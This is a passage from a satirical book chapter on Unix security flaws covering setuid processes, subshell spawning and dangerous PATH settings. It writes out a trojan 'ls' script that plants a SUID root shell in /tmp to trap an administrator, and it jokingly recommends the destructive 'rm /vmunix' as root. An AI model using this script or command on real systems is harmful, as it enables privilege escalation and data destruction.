248 Security Now, what’s wrong with this? Ping, it turns out, is a setuid root pro- gram, and now when I’m done with it I CAN’T KILL THE PRO- CESS BECAUSE UNIX SAYS IT’S NOT MINE TO KILL! So I think “No prob, I’ll log out and then log back in again and it'll catch SIGHUP and die, right?” Wrong. It’s still there and NOW I'M TRULY SCREWED BECAUSE I CAN'T EVEN TRY TO FG IT! So I have to run off and find someone with root privileges to kill it for me! Why can’t Unix figure out that if the ppid of a process is the pid of your shell, then it’s yours and you can do whatever you bloody well please with it? Unix security tip of the day: You can greatly reduce your chances of breakin by crackers and infestation by viruses by logging in as root and typing: % rm /vmunix Processes Are Cheap—and Dangerous Another software tool for breaking Unix security are the systems calls fork() and exec(), which enable one program to spawn other programs. Programs spawning subprograms lie at the heart of Unix’s tool-based phi- losophy. Emacs and FTP run subprocesses to accomplish specific tasks such as listing files. The problem for the security-conscious is that these programs inherit the privileges of the programs that spawn them. Easily spawned subprocesses are a two-edged sword because a spawned subprogram can be a shell that lowers the drawbridge to let the Mongol hordes in. When the spawning program is running as superuser, then its spawned process also runs as superuser. Many a cracker has gained entry through spawned superuser shells. Indeed, the “Internet Worm” (discussed later in this chapter) broke into unsuspecting computers by running network servers and then convincing them to spawn subshells. Why did these network servers have the appropri- ate operating system permission to spawn subshells, when they never have to spawn a subshell in their normal course of operation? Because every Unix program has this ability there is no way to deny subshell-spawning privileges to a program (or a user, for that matter).

Holes in the Armor 249 The Problem with PATH Unix has to locate the executable image that corresponds to a given com- mand name. To find the executable, Unix consults the user’s PATH vari- able for a list of directories to search. For example, if your PATH environment is :/bin:/usr/bin:/etc:/usr/local/bin:, then, when you type snarf, Unix will automatically search through the /bin, /usr/bin, /etc, and / usr/local/bin directories, in that order, for a program snarf. So far, so good. However, PATH variables such as this are a common disaster: PATH=:.:/bin:/usr/bin:/usr/local/bin: Having “.”—the current directory—as the first element instructs Unix to search the current directory for commands before searching /bin. Doing so is an incredible convenience when developing new programs. It is also a powerful technique for cracking security by leaving traps for other users. Suppose you are a student at a nasty university that won’t let you have superuser privileges. Just create a file1 called ls in your home directory that contains: Now, go to your system administrator and tell him that you are having dif- ficulty finding a particular file in your home directory. If your system oper- ator is brain-dead, he will type the following two lines on his terminal: % cd your home directory % ls Now you’ve got him, and he doesn’t even know it. When he typed ls, the ls program run isn’t /bin/ls, but the specially created ls program in your home directory. This version of ls puts a SUID shell program in the /tmp direc- tory that inherits all of the administrator’s privileges when it runs. Although he’ll think you’re stupid, he’s the dummy. At your leisure you’ll 1Please, don’t try this yourself! #!/bin/sh Start a shell. /bin/cp /bin/sh /tmp/.sh1 Copy the shell program to /tmp. /etc/chmod 4755 /tmp/.sh1 Give it the privileges of the person invoking the ls command. /bin/rm \$0 Remove this script. exec /bin/ls \$1 \$2 \$3 \$ Run the real ls.